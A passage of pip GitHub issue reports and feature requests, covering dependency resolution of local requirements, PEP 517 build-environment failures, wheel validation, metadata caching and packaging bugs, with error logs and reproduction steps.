Cons:
- More complex to implement
- Still pretty verbose

---

Some other solution! No wrong answers!

**Additional context**
<!-- Add any other context, links, etc. about the feature here. -->

Original discussion at #4475 and original PR at #8030

user: amancevice
labels: state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
issue_8035: state: open
title: Should pip support named local requirements?
body: Pip cannot install packages from relative local directories that depend on each other.

Assume you have `toola/setup.py`:

```python
from setuptools import setup

setup(
    name="toola",
    install_requires=["toolb"],
)
```

and `toolb/setup.py`

```python
from setuptools import setup

setup(
    name="toolb",
)
```

So `toola` depends on `toolb`.

`pip install --no-index ./toola ./toolb` fails with `No matching distribution found for toolb (from toola==0.0.0)`.

A workaround is to use PEP 508 direct urls, so this works:

`pip install --no-index "toola @ file://$PWD/toola" "toolb @ file://$PWD/toolb"`

Note PEP 508 requires absolute paths. This is however inconvenient and it is not possible to put this in a requirement file.

**Describe the solution you'd like**

It seems the issue stems from limitation of dependency resolution in presence of unnamed requirements.

PEP 508 provides a mechanism to name requirements, but rightly forbids relative `file://` URLs with relative paths. This should continue to be forbidden in `Requires-Dist` metadata (see [discussion](https://discuss.python.org/t/what-is-the-correct-interpretation-of-path-based-pep-508-uri-reference/2815)).

So I see two approaches:

1. allow a syntax "name @ localdirectory(/localarchive)" **for top level requirements only**, to help the resolver
2. improve the resolution algorithm to extract metadata earlier and discover the name of all top level requirement

**Additional context**

#192 also touches this subject.

user: sbidoul
labels: C: unnamed reqs: Handling and processing unnamed requirements
state: needs discussion: This needs some more discussion
C: direct url: Direct URL references (PEP 440, PEP 508, PEP 610)
issue_7991: state: open
title: PEP 517 build environment dependencies fail to install with use of --build-option
body: **Environment**

* pip version: 20.0.2
* Python version: 3.7
* OS: Mac OS 10.14

**Description**
use of --build-option causes build front-end dependencies to fail to install when using PEP517 build configuration. This is confusing and leads to errors. 

The basic issue (shown in logs below) is that by using the --build-option flag pip decides not to use wheels for _build_ dependencies (which is confusing). This is an issue when using PEP517/518 which attempts to create an environment in which to build the pip wheel, but whose environment setup is altered by trying to alter the _build itself_

**Expected behavior**
The build environment should be isolated from build commands used within that environment. I should be able to control how my wheel is built in the backend without breaking the installation of my build front-end requirements. I would hope that front-end build requirements would be installed without passing --build-option down to pip wheel command. It is confusing to try to fetch build-time requirements and build them from source. If the front-end needs additional options to install them, they should be controlled using different flags then those that control building my package.

It seems like a chicken-and-egg problem to me, where using build flags means I have to build build-dependencies, which requires another level of abstraction or dependency requirements. I would somehow have to tell pip that the environment used to build build-dependencies itself has build requirements. I believe PEP 517 is meant to protect us from this entangled mess?


**How to Reproduce**

- Use a pyproject.toml file like this one:
```
[build-system]
# https://scikit-build.readthedocs.io/en/latest/usage.html#example-of-setup-py-cmakelists-txt-and-pyproject-toml
requires = ["setuptools>=40.8.0", "wheel", "scikit-build", "numpy", "cmake==3.16.3", "cython>=0.28, <3", "cysignals==1.6.5"]
```
- execute pip wheel on the source tree thusly: `pip wheel path/to/source --build-option="-DCMAKE_MAKE_PROGRAM=Unix Makefiles"`

**Output**

```
+ python -m pip wheel <my python source dir> --wheel-dir=_build/_wheels --build=_build '--build-option=-DCMAKE_MAKE_PROGRAM=Unix Makefiles'
Looking in indexes: https://pypi.org/simple
Processing <my python source dir>
  Installing build dependencies: started
  Installing build dependencies: still running...
/usr/local/lib/python3.7/site-packages/pip/_internal/commands/wheel.py:115: UserWarning: Disabling all use of wheels due to the use of --build-options / --global-options / --install-options.
  cmdoptions.check_install_build_global(options)
  ERROR: Command errored out with exit status 1:
   command: /usr/local/opt/python/bin/python3.7 /usr/local/lib/python3.7/site-packages/pip install --ignore-installed --no-user --prefix /private/var/folders/40/7rw2w2f12kj6lkcwbfqb1mxh0000gp/T/pip-build-env-421zz7lf/overlay --no-warn-script-location --no-binary :all: --only-binary :none: -i https://pypi.org/simple -- 'setuptools>=40.8.0' wheel scikit-build numpy cmake==3.16.3 'cython==0.25.1; python_version<='"'"'2.7'"'"'' 'cython>=0.28, <3; python_version>'"'"'2.7'"'"'' cysignals==1.6.5
       cwd: None
  Complete output (29 lines):
  Ignoring cython: markers 'python_version <= "2.7"' don't match your environment
  Looking in indexes: https://pypi.org/simple
  Collecting setuptools>=40.8.0
    Using cached https://files.pythonhosted.org/packages/b5/96/af1686ea8c1e503f4a81223d4a3410e7587fd52df03083de24161d0df7d4/setuptools-46.1.3.zip
  Collecting wheel
    Using cached https://files.pythonhosted.org/packages/75/28/521c6dc7fef23a68368efefdcd682f5b3d1d58c2b90b06dc1d0b805b51ae/wheel-0.34.2.tar.gz
  Collecting scikit-build
    Using cached https://files.pythonhosted.org/packages/9f/6b/9c193b2402969b2f3ef5e8105a434a9d4274df9b8315699225072217322a/scikit-build-0.10.0.tar.gz
  Collecting numpy
    Using cached https://files.pythonhosted.org/packages/84/1e/ff467ac56bfeaea51d4a2e72d315c1fe440b20192fea7e460f0f248acac8/numpy-1.18.2.zip
    Installing build dependencies: started
    Installing build dependencies: finished with status 'done'
    Getting requirements to build wheel: started
    Getting requirements to build wheel: finished with status 'done'
      Preparing wheel metadata: started
      Preparing wheel metadata: finished with status 'done'
  Collecting cmake==3.16.3
    Using cached https://files.pythonhosted.org/packages/a5/7c/6525cadf99abbabbcb29676f53de0441e8d2f8d0114ab52aae2b31223a3b/cmake-3.16.3.tar.gz
      ERROR: Command errored out with exit status 1:
       command: /usr/local/opt/python/bin/python3.7 -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/private/var/folders/40/7rw2w2f12kj6lkcwbfqb1mxh0000gp/T/pip-install-m_nrlzxl/cmake/setup.py'"'"'; __file__='"'"'/private/var/folders/40/7rw2w2f12kj6lkcwbfqb1mxh0000gp/T/pip-install-m_nrlzxl/cmake/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /private/var/folders/40/7rw2w2f12kj6lkcwbfqb1mxh0000gp/T/pip-install-m_nrlzxl/cmake/pip-egg-info
           cwd: /private/var/folders/40/7rw2w2f12kj6lkcwbfqb1mxh0000gp/T/pip-install-m_nrlzxl/cmake/
      Complete output (5 lines):
      Traceback (most recent call last):
        File "<string>", line 1, in <module>
        File "/private/var/folders/40/7rw2w2f12kj6lkcwbfqb1mxh0000gp/T/pip-install-m_nrlzxl/cmake/setup.py", line 7, in <module>
          from skbuild import setup
      ModuleNotFoundError: No module named 'skbuild'
      ----------------------------------------
  ERROR: Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
  ----------------------------------------
  Installing build dependencies: finished with status 'error'
ERROR: Command errored out with exit status 1: /usr/local/opt/python/bin/python3.7 /usr/local/lib/python3.7/site-packages/pip install --ignore-installed --no-user --prefix /private/var/folders/40/7rw2w2f12kj6lkcwbfqb1mxh0000gp/T/pip-build-env-421zz7lf/overlay --no-warn-script-location --no-binary :all: --only-binary :none: -i https://pypi.org/simple --extra-index-url http://sfw.sf.smle.co:8080/sfw/pip --trusted-host sfw.sf.smle.co -- 'setuptools>=40.8.0' wheel scikit-build numpy cmake==3.16.3 'cython==0.25.1; python_version<='"'"'2.7'"'"'' 'cython>=0.28, <3; python_version>'"'"'2.7'"'"'' cysignals==1.6.5 Check the logs for full command output.

Process finished with exit code 1
```

**Alternative**
Similarly, the same error occurs when configuring the back-end environment if I shift responsibilities to the build backend by using a pyproject.toml with fewer requirements:
```
[build-system]
# https://scikit-build.readthedocs.io/en/latest/usage.html#example-of-setup-py-cmakelists-txt-and-pyproject-toml
requires = ["setuptools>=40.8.0", "wheel", "scikit-build"]
```
and moving some dependencies to the back-end by using a setup.py with setup_requires thusly:
```
          setup_requires=['cmake==3.16.3',
                          "cython==0.25.1; python_version<='2.7'",
                          "cython>=0.28, <3; python_version>'2.7'",
                          'cysignals==1.6.5',  # cython and cysignals are used to compile pyx files
                          ],
```
then I get similar output, but complaining about the build backend instead of the frontend:
```
pip wheel /path/to/source --wheel-dir=_build/_wheels --build=_build '--build-option=-DCMAKE_MAKE_PROGRAM=Unix Makefiles'
Looking in indexes: https://pypi.org/simple
Processing path/to/source
  Installing build dependencies: started
  Installing build dependencies: still running...
  Installing build dependencies: still running...
  Installing build dependencies: finished with status 'done'
  Getting requirements to build wheel: started
  Getting requirements to build wheel: finished with status 'done'
  Installing backend dependencies: started
  Installing backend dependencies: finished with status 'error'
/usr/local/lib/python3.7/site-packages/pip/_internal/commands/wheel.py:115: UserWarning: Disabling all use of wheels due to the use of --build-options / --global-options / --install-options.
  cmdoptions.check_install_build_global(options)
  ERROR: Command errored out with exit status 1:
   command: /usr/local/opt/python/bin/python3.7 /usr/local/lib/python3.7/site-packages/pip install --ignore-installed --no-user --prefix /private/var/folders/40/7rw2w2f12kj6lkcwbfqb1mxh0000gp/T/pip-build-env-mriw6mps/normal --no-warn-script-location --no-binary :all: --only-binary :none: -i https://pypi.org/simple -- 'cython==0.25.1; python_version <= "2.7"' cmake==3.16.3 'cython<3,>=0.28; python_version > "2.7"' cysignals==1.6.5
       cwd: None
  Complete output (15 lines):
  Ignoring cython: markers 'python_version <= "2.7"' don't match your environment
  Looking in indexes: https://pypi.org/simple
  Collecting cmake==3.16.3
    Using cached https://files.pythonhosted.org/packages/a5/7c/6525cadf99abbabbcb29676f53de0441e8d2f8d0114ab52aae2b31223a3b/cmake-3.16.3.tar.gz
      ERROR: Command errored out with exit status 1:
       command: /usr/local/opt/python/bin/python3.7 -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/private/var/folders/40/7rw2w2f12kj6lkcwbfqb1mxh0000gp/T/pip-install-qcmlecsl/cmake/setup.py'"'"'; __file__='"'"'/private/var/folders/40/7rw2w2f12kj6lkcwbfqb1mxh0000gp/T/pip-install-qcmlecsl/cmake/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /private/var/folders/40/7rw2w2f12kj6lkcwbfqb1mxh0000gp/T/pip-install-qcmlecsl/cmake/pip-egg-info
           cwd: /private/var/folders/40/7rw2w2f12kj6lkcwbfqb1mxh0000gp/T/pip-install-qcmlecsl/cmake/
      Complete output (5 lines):
      Traceback (most recent call last):
        File "<string>", line 1, in <module>
        File "/private/var/folders/40/7rw2w2f12kj6lkcwbfqb1mxh0000gp/T/pip-install-qcmlecsl/cmake/setup.py", line 7, in <module>
          from skbuild import setup
      ModuleNotFoundError: No module named 'skbuild'
      ----------------------------------------
  ERROR: Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
  ----------------------------------------
ERROR: Command errored out with exit status 1: /usr/local/opt/python/bin/python3.7 /usr/local/lib/python3.7/site-packages/pip install --ignore-installed --no-user --prefix /private/var/folders/40/7rw2w2f12kj6lkcwbfqb1mxh0000gp/T/pip-build-env-mriw6mps/normal --no-warn-script-location --no-binary :all: --only-binary :none: -i https://pypi.org/simple -- 'cython==0.25.1; python_version <= "2.7"' cmake==3.16.3 'cython<3,>=0.28; python_version > "2.7"' cysignals==1.6.5 Check the logs for full command output.
```

user: stefansjs
labels: S: needs triage: Issues/PRs that need to be triaged
PEP implementation: Involves some PEP
C: PEP 517 impact: Affected by PEP 517 processing
issue_7989: state: open
title: Migrate `pip show`'s `Requires` field to `Requires-Dist`
body: Prefer `Requires-Dist` to `Requires` to match [PEP-0354](https://www.python.org/dev/peps/pep-0345/#requires-dist-multiple-use) metadata.

This would require a transition period to not break user expectation: we might want to expose the same information in both Requires & Requires-Dist for a few pip version.

_Originally posted by @sbidoul in https://github.com/pypa/pip/pull/7967_

user: xavfernandez
labels: type: enhancement: Improvements to functionality
C: list/show: 'pip list' or 'pip show'
state: needs discussion: This needs some more discussion
issue_7982: state: open
title: Add additional wheel validation checks 
body: I [@pfmoore] propose the following checks:
1. That the wheel has a METADATA file conforming to the PEP 314 spec. RFC822 format, with a subset of the mandatory keys present - Metadata-Version, Name, Version, Summary, Author-Email, License.
2. That the wheel has a RECORD file with lines for METADATA, WHEEL and RECORD. I'd like to think that checking hashes is overkill. However, the page linked in the issue report seems to be recommending deliberately omitting required aspects of the spec if you can get away with it, so I'm forced to consider that checking a couple of hashes (METADATA and WHEEL) might be sufficient to make omitting hashes too hard to be worth bothering about.
3. That all files in the wheel are mentioned in RECORD.

These checks are not comprehensive - the idea is to ensure people aren't uploading corrupt wheels, not to act as a full validation suite.

I'm honestly saddened that we need to do this. Deliberate violation of the wheel spec seems like the sort of bevaviour that should be fixable simply by letting the author of the invalid wheel know of their mistake. Having to defend against deliberate attempts to undermine the standardisation work going on is depressing.

_Originally posted by @pfmoore in https://github.com/pypa/pip/issues/3513#issuecomment-188766403_

Creating a follow up issue, to be able to track actually doing this. :)
user: pradyunsg
labels: C: wheel: The wheel format and 'pip wheel' command
kind: backwards incompatible: Would be backward incompatible
type: feature request: Request for a new feature
issue_7980: state: open
title: Speculative idea - Cache metadata for sdists?
body: **What's the problem this feature will solve?**
In [this discussion](https://github.com/pypa/warehouse/issues/194#issuecomment-608971216), @uranusjr said:

> One of the most resource-consuming (both for development and runtime) part of dependency resolution is the need to download a package matching the host environment, extract it, and potentially build it to get dependencies.

**Describe the solution you'd like**
Thinking about this, pip could cache metadata for sdists, much like the wheel cache. When we prepare a sdist to get metadata, we could save that metadata to a local cache, keyed by project name and version. Then, future runs could use the cache rather than downloading and building the sdist again.

**Alternative Solutions**
The wheel cache provides similar data, so we could check the wheel cache when looking for sdist metadata. However:

1. We'd have to make sure we picked the right wheel. Wheels for other platforms/architectures could be in the cache, and (much as we'd prefer it if this wasn't the case) metadata isn't currently guaranteed to be consistent across platforms.
2. Not all sdists get built to wheels. Some will potentially get prepared, the metadata checked, and then discarded. So caching sdist metadata directly will help more cases.

**Additional context**
As @uranusjr pointed out, the biggest benefits will be to platforms like musl which don't have wheels. However, a common musl platform is Docker alpine images, and as Docker containers are throwaway, a cache won't help much here. So we should make sure the benefits will be achieved in practice before investing time into this solution.
user: pfmoore
labels: type: enhancement: Improvements to functionality
state: needs discussion: This needs some more discussion
C: cache: Dealing with cache and files in it
issue_7974: state: open
title: Stop repeatedly normalising project names
body: **What's the problem this feature will solve?**
There's no clear picture in pip's internal code of when a project name is correctly normalised. As a result, code tends to call `canonicalize_name()` "just in case".

While the cost of the extra calls is small, it also makes it difficult to reason about the logic, and the more difficult it is, the more likely that people will "just call `canonicalize_name()` to be sure", compounding the issue.

**Describe the solution you'd like**
A well-documented and clear indication of which parts of the code are responsible for ensuring that project names are in canonical form, so that the rest of pip's code can confidently just use names as provided to it.

**Alternative Solutions**
It would be nice if we could use type checks to enforce normalisation hygene, but apparently MyPy treats type aliases as identical, so doesn't support this. It's *not* (IMO) obvious that it's worth the cost of having an actual `NormalizedName` class. I could be convinced otherwise, but I don't think it's a productive place to start.

**Additional context**
The issue here is similar in principle to Unicode-safety, and can be viewed in the same way - normalise at the boundaries of the code, and use normalised values exclusively throughout the internal code.
user: pfmoore
labels: type: refactor: Refactoring code
type: maintenance: Related to Development and Maintenance Processes
issue_7953: state: open
title: Cannot install into user site directory with editable source.
body: In `build_env.py` the environment variable `PYTHONNOUSERSITE` is set: https://github.com/pypa/pip/blob/7b02273f3e40aaab95027d5d560bd8e76ab623e4/src/pip/_internal/build_env.py#L127

This prevents editable installs with `PYTHONUSERBASE=<some-user-base> pip3.8 install --user -e <some-file-path>` from succeeding if the user does not have write access to the base-Python site-packages directory.

This is a snapshot of the error.
```python-traceback
running develop
    WARNING: The user site-packages directory is disabled.
    error: can't create or remove files in install directory
```

It may be that it is a deliberate design choice to disable editable installs under a user site directory. I personally needed this feature, however, and I am therefore setting `site.ENABLE_USER_SITE = True` in `setup.py` as a workaround.
user: agoose77
labels: type: bug: A confirmed bug or unintended behavior
C: user scheme: Handling of packages in user-specific directories
C: editable: Editable installations
C: PEP 517 impact: Affected by PEP 517 processing
C: build logic: Stuff related to metadata generation / wheel generation
issue_7939: state: open
title: pip --target broken if platlib and purelib do not point to same path
body: **Environment**
Fedora 30
Red Hat Enterprise Linux 7.7 with scl python 3.6
virtualenv+pip 20.0.2

* pip version: 20.0.2
* Python version: 3.7.6
* OS: Fedora 30

**Description**
If the platlib and purelib paths from schema are not same, but one is link of another, pip will treat this condition for package as already installed package and without --upgrade it install only one package, and with --upgrade will replace previously installed package, simply it does not merge package directories from both packages.

Fedora's patch to platlib and purelib paths:
https://src.fedoraproject.org/rpms/python3/blob/master/f/00102-lib64.patch

Some clue in pip:
https://github.com/pypa/pip/blob/master/src/pip/_internal/commands/install.py#L471

**Expected behavior**
It should install package and subpackage and merge content of same directories.

**How to Reproduce**
```
virtualenv testvirtualenv
. testvirtualenv/bin/activate
pip install --upgrade pip wheel setuptools
pip install --no-deps --target genielibs  genie==20.1 genie.libs.parser==20.1
Collecting genie==20.1
  Using cached genie-20.1-cp37-cp37m-manylinux1_x86_64.whl (18.3 MB)
Collecting genie.libs.parser==20.1
  Using cached genie.libs.parser-20.1-py3-none-any.whl (2.5 MB)
Installing collected packages: genie, genie.libs.parser
Successfully installed genie-20.1 genie.libs.parser-20.1
WARNING: Target directory /home/maint/genielibs/genie already exists. Specify --upgrade to force replacement.
```
These steps work on Ubuntu, but do not on Fedora/RHEL.

user: kubco2
labels: S: needs triage: Issues/PRs that need to be triaged
issue_7922: state: open
title: pip install --user fails on OSX-provided Py37 with PEP 517/518 source builds
body: **Environment**

* pip version: 20.0.2
* Python version: 3.7 (system provided)
* OS: Mac OSX 10.15

**Description**
Building a PEP 517/518 package from source with the `--user` flag fails due to attempting to install packages in a system location. Error message suggests passing `--user` flag despite it already being passed:
```
$ pip install --user --no-binary numpy numpy
Collecting numpy
  Downloading numpy-1.18.2.zip (5.4 MB)
     |████████████████████████████████| 5.4 MB 738 kB/s 
  Installing build dependencies ... error
  ERROR: Command errored out with exit status 1:
   command: /Applications/Xcode_11.2.1/Contents/Developer/usr/bin/python3 /Library/Python/3.7/site-packages/pip install --ignore-installed --no-user --prefix /private/var/folders/wc/18t6w3v130g8tpqh7f6tp4cr0000gn/T/pip-build-env-zwz9998u/overlay --no-warn-script-location --no-binary numpy --only-binary :none: -i https://pypi.org/simple -- setuptools wheel 'Cython>=0.29.14'
       cwd: None
  Complete output (10 lines):
  Collecting setuptools
    Using cached setuptools-46.1.3-py3-none-any.whl (582 kB)
  Collecting wheel
    Using cached wheel-0.34.2-py2.py3-none-any.whl (26 kB)
  Collecting Cython>=0.29.14
    Downloading Cython-0.29.16-cp37-cp37m-macosx_10_9_x86_64.whl (1.9 MB)
  Installing collected packages: setuptools, wheel, Cython
  ERROR: Could not install packages due to an EnvironmentError: [Errno 13] Permission denied: '/Library/Python/3.7/site-packages/easy_install.py'
  Consider using the `--user` option or check the permissions.
  
  ----------------------------------------
ERROR: Command errored out with exit status 1: /Applications/Xcode_11.2.1/Contents/Developer/usr/bin/python3 /Library/Python/3.7/site-packages/pip install --ignore-installed --no-user --prefix /private/var/folders/wc/18t6w3v130g8tpqh7f6tp4cr0000gn/T/pip-build-env-zwz9998u/overlay --no-warn-script-location --no-binary numpy --only-binary :none: -i https://pypi.org/simple -- setuptools wheel 'Cython>=0.29.14' Check the logs for full command output.
```

**Expected behavior**
PEP 517/518 packages should be possible to build from source and installable in a user location

**How to Reproduce**
1. On an instance of OSX 10.15, install Python 3.7 is installed: ```xcode-select --install```
2. Using the system install, attempt to install any PEP 517/518 package with the `--user` and `--no-binary {pkg}`  flags to ensure we install to a user location and build from source.
3. You should receive various permission denied errors, likely due to the build environment installation step specifying `--no-user`

**Output**
```
$ pip install --user --no-binary numpy numpy
Collecting numpy
  Downloading numpy-1.18.2.zip (5.4 MB)
     |████████████████████████████████| 5.4 MB 738 kB/s 
  Installing build dependencies ... error
  ERROR: Command errored out with exit status 1:
   command: /Applications/Xcode_11.2.1/Contents/Developer/usr/bin/python3 /Library/Python/3.7/site-packages/pip install --ignore-installed --no-user --prefix /private/var/folders/wc/18t6w3v130g8tpqh7f6tp4cr0000gn/T/pip-build-env-zwz9998u/overlay --no-warn-script-location --no-binary numpy --only-binary :none: -i https://pypi.org/simple -- setuptools wheel 'Cython>=0.29.14'
       cwd: None
  Complete output (10 lines):
  Collecting setuptools
    Using cached setuptools-46.1.3-py3-none-any.whl (582 kB)
  Collecting wheel
    Using cached wheel-0.34.2-py2.py3-none-any.whl (26 kB)
  Collecting Cython>=0.29.14
    Downloading Cython-0.29.16-cp37-cp37m-macosx_10_9_x86_64.whl (1.9 MB)
  Installing collected packages: setuptools, wheel, Cython
  ERROR: Could not install packages due to an EnvironmentError: [Errno 13] Permission denied: '/Library/Python/3.7/site-packages/easy_install.py'
  Consider using the `--user` option or check the permissions.
  
  ----------------------------------------
ERROR: Command errored out with exit status 1: /Applications/Xcode_11.2.1/Contents/Developer/usr/bin/python3 /Library/Python/3.7/site-packages/pip install --ignore-installed --no-user --prefix /private/var/folders/wc/18t6w3v130g8tpqh7f6tp4cr0000gn/T/pip-build-env-zwz9998u/overlay --no-warn-script-location --no-binary numpy --only-binary :none: -i https://pypi.org/simple -- setuptools wheel 'Cython>=0.29.14' Check the logs for full command output.
```
See https://github.com/pydata/bottleneck/issues/338 for initial report
user: qwhelan
labels: type: bug: A confirmed bug or unintended behavior
C: PEP 517 impact: Affected by PEP 517 processing
issue_7902: state: open
title: The dilemma of using these two pip options: `require-virtualenv = true` and `--isolated`.
body: Hi,

I set the following option in the ~/.pip/pip.conf:

`require-virtualenv = true`

When I run the pip command within conda-based virtualenv, I will meet the following:

```
$ pip install six
ERROR: Could not find an activated virtualenv (required).
```

So, I must run it like this in conda environment:

` $ pip install six --isolated`

I also want to use some other useful options in the pip.conf in this case, say, the following:

```
trusted-host = pypi.tuna.tsinghua.edu.cn
index-url = https://pypi.tuna.tsinghua.edu.cn/simple
```
But the --isolated option will ignore all of the options in environment variables and user configuration, as a result, I must use the following form in command line like the following:

If in canda based virtualenv:

`$ pip install --isolated --index-url https://pypi.tuna.tsinghua.edu.cn/simple <package-name>`

else:

`$ pip install <package-name>`

But I want to have a uniform solution which invokes the same command line option for my case in conda and non-conda based virtualenvs.

Any hints for this issue?

Regards
user: hongyi-zhao
labels: S: needs triage: Issues/PRs that need to be triaged
issue_7896: state: open
title: Add pip freeze option to report local directory instead of VCS link
body: This is a follow up on https://github.com/pypa/pip/issues/4300 which has been automatically locked.

I was tricked by this as well and I am not sure about the reasoning about why pip freeze wants to be super smart and changes the location of a pip install -e to a version control path. Is there some way to turn this behaviour off via command line?

If I would want to specify a version controlled package in the pip freeze output, then I could simply use 

`pip install -e git+ssh://<package>`

to install the package. If instead I use

`pip install -e ./some/relative/local/path`

I find it very strange that this path is suddenly replaced by a completely different path to a version control system.

Automatically converting local paths to version control paths is a bad idea in my opinion and it actually breaks the usability of pip freeze for us. Converting the path back to a local path afterwards is pretty much impossible, but it is necessary in our infrastructure.
user: cwiede
labels: C: vcs: pip's interaction with version control systems like git, svn and bzr
C: freeze: 'pip freeze' related
resolution: deferred till PR: Further discussion will happen when a PR is made
type: feature request: Request for a new feature
C: editable: Editable installations
C: direct url: Direct URL references (PEP 440, PEP 508, PEP 610)
issue_7893: state: open
title: Similar variable names referring to different things in PipTestEnvironment
body: **Environment**

* pip version: 19.2.3
* Python version: 3.7.7
* OS: OSX 10.15.3


**Description**
While trying to write some unit tests while referring to 
https://github.com/pypa/pip/blob/8c95de11ccb6ce75f67835766007d36f4ce6c941/tests/functional/test_uninstall.py#L528

I came across two member variables from the `script` fixture, one is `script.site_packages_path` which points to site-packages which lies inside virtualenv created by pytest while running test cases and the other is `script.site_packages`, which points to site-packages inside virtualenv which is being used as a development environment for pip

For example:

`script.site_packages` => `/Users/xyz/pip/venv/lib/python3.7/site-packages`
`script.site_packages_path `=> `/private/var/folders/xg/blp845_s0xn093dyrtgy936h0000gp/T/pytest-of-xyz/pytest-1/test_uninstall_editable_and_pi0/workspace/venv/lib/python3.7/site-packages`

**Expected behavior**
<!-- A clear and concise description of what you expected to happen. -->

The two variable names should be cleaned up so that they can refer to their actual meanings. The current names are similar sounding but have pretty different uses

**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->

Run any test case within test_uninstall.py, enabling console print output by `-s` e.g.
`tox -e py tests/functional/test_uninstall.py::test_uninstall_editable_and_pip_install -s`, and add print statements within a function to see the values


user: deveshks
labels: type: enhancement: Improvements to functionality
C: tests: Testing and related things
issue_7877: state: open
title: Qt plugins
body: Pip - 20.0.1
Os - macOS Catalina, 10.15.3
python version - 3.8.1

I faced a rather peculiar issue yesterday while trying to run a machine learning model, my idle reported that my QT plugins were not present and reinstalling the applications might help. At the same time, python would crash and the diagnostic report would be generated which frankly did not point me to a particular issue. 
Any thoughts or suggestions?
user: Shlokatadistance
labels: S: needs triage: Issues/PRs that need to be triaged
issue_7864: state: open
title: script.pip() does not work with use_module=True
body: **Environment**

* pip version: 20.1.dev0
* Python version: 3.6.9
* OS: Linux Mint Debian Edition

<!-- Feel free to add more information about your environment here -->

**Description**
<!-- A clear and concise description of what the bug is. -->
While I was working on this #7810, I found that when I use `script.pip("freeze")` with `use_module` as `True` which is the default behaviour, it does not show any package list, while when I explicitly specify `use_module` as `False`, it does. 

I found that the difference is the way the command is invoked. With `use_module=True`, it is invoked as `python -m pip freeze` and with `use_module=False`, it is invoked as `pip freeze`. 

**Expected behavior**
<!-- A clear and concise description of what you expected to happen. -->
Both ways, it should show up the package list.

**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->
A test can be written to verify this behaviour.

```
def test_pip_script(script):
    assert script.pip("freeze").stdout == script.pip("freeze", use_module=False).stdout
```

**Output**

```
___________________________________________________ test_pip_script ___________________________________________________
[gw4] linux -- Python 3.6.9 /home/gutsytechster/Documents/Projects/Open-Source-Projects/pip/.tox/py36/bin/python

script = <tests.lib.PipTestEnvironment object at 0x7f696adfc8d0>

    def test_pip_script(script):
>       assert script.pip("freeze").stdout == script.pip("freeze", use_module=False).stdout
E       AssertionError: assert '' == 'apipkg==1.5\natomicwrites==...zeug==0.16.0\nzipp==3.0.0\n'
E         + apipkg==1.5
E         + atomicwrites==1.3.0
E         + attrs==19.3.0
E         + cffi==1.14.0
E         + coverage==5.0.3
E         + cryptography==2.8
E         + csv23==0.1.6
E         + execnet==1.7.1
E         + freezegun==0.3.15
E         + importlib-metadata==1.5.0
E         + mock==4.0.1
E         + more-itertools==8.2.0
E         + pluggy==0.13.1
E         + pretend==1.0.9
E         + py==1.8.1
E         + pycparser==2.19
E         + pytest==3.8.2
E         + pytest-cov==2.8.1
E         + pytest-forked==1.1.3
E         + pytest-rerunfailures==6.0
E         + pytest-timeout==1.3.4
E         + pytest-xdist==1.27.0
E         + python-dateutil==2.8.1
E         + PyYAML==5.3
E         + scripttest==1.3
E         + six==1.14.0
E         + virtualenv==16.7.10
E         + Werkzeug==0.16.0
E         + zipp==3.0.0
```
user: gutsytechster
labels: type: bug: A confirmed bug or unintended behavior
C: tests: Testing and related things
type: maintenance: Related to Development and Maintenance Processes
issue_7863: state: open
title: Build dependencies are not downloaded by `pip download`
body: **Environment**

* pip version: 20.0.2
* Python version: 3.6
* OS: Ubuntu 18.04

**Description**
An issue was reported in my repo https://github.com/pydata/bottleneck/issues/333 by a user utilizing `pip download` to create a local cache prior to installation, but was seeing the following error despite having an up-to-date copy of `setuptools`:
```
  ERROR: Could not find a version that satisfies the requirement setuptools (from versions: none)
  ERROR: No matching distribution found for setuptools
```
I was able to reproduce the behavior via a `Dockerfile` and identify that the root issue is that `pip download` is not fetching the PEP 517 dependencies. This error message appears to be reproducible for other packages (such as `numpy`) provided that `pip download` fetches a source package that requires a PEP 517 build step.


My findings can be found here: https://github.com/pydata/bottleneck/issues/333#issuecomment-599177688

**Expected behavior**

As far as expected behavior, I would expect `pip download` to fetch all packages needed to successfully install the target package(s), including build-only dependencies.

**How to Reproduce**
`Dockerfile`:
```
FROM nvidia/cuda:10.0-cudnn7-runtime-ubuntu18.04
RUN apt-get update
RUN apt-get install -y python3 python3-pip
RUN pip3 install -U pip
RUN cd /tmp && python3 -m pip download numpy --no-binary numpy -d ./
RUN ls -alh /tmp
RUN python3 -m pip install --no-binary numpy numpy --find-links /tmp --no-index
RUN pip3 list
```
Output:
```
Step 7/8 : RUN python3 -m pip install --no-binary numpy numpy --find-links /tmp --no-index
 ---> Running in b34d3e92b764
Looking in links: /tmp
Processing /tmp/numpy-1.18.1.zip
  Installing build dependencies: started
  Installing build dependencies: finished with status 'error'
  ERROR: Command errored out with exit status 1:
   command: /usr/bin/python3 /usr/local/lib/python3.6/dist-packages/pip install --ignore-installed --no-user --prefix /tmp/pip-build-env-6p0zdywu/overlay --no-warn-script-location --no-binary numpy --only-binary :none: --no-index --find-links /tmp -- setuptools wheel 'Cython>=0.29.14'
       cwd: None
  Complete output (3 lines):
  Looking in links: /tmp
  ERROR: Could not find a version that satisfies the requirement setuptools (from versions: none)
  ERROR: No matching distribution found for setuptools
  ----------------------------------------
ERROR: Command errored out with exit status 1: /usr/bin/python3 /usr/local/lib/python3.6/dist-packages/pip install --ignore-installed --no-user --prefix /tmp/pip-build-env-6p0zdywu/overlay --no-warn-script-location --no-binary numpy --only-binary :none: --no-index --find-links /tmp -- setuptools wheel 'Cython>=0.29.14' Check the logs for full command output.
The command '/bin/sh -c python3 -m pip install --no-binary numpy numpy --find-links /tmp --no-index' returned a non-zero code: 1
```

user: qwhelan
labels: type: bug: A confirmed bug or unintended behavior
state: needs discussion: This needs some more discussion
PEP implementation: Involves some PEP
C: build logic: Stuff related to metadata generation / wheel generation
issue_7855: state: open
title: pip cannot prepare more than one requirement for the same project
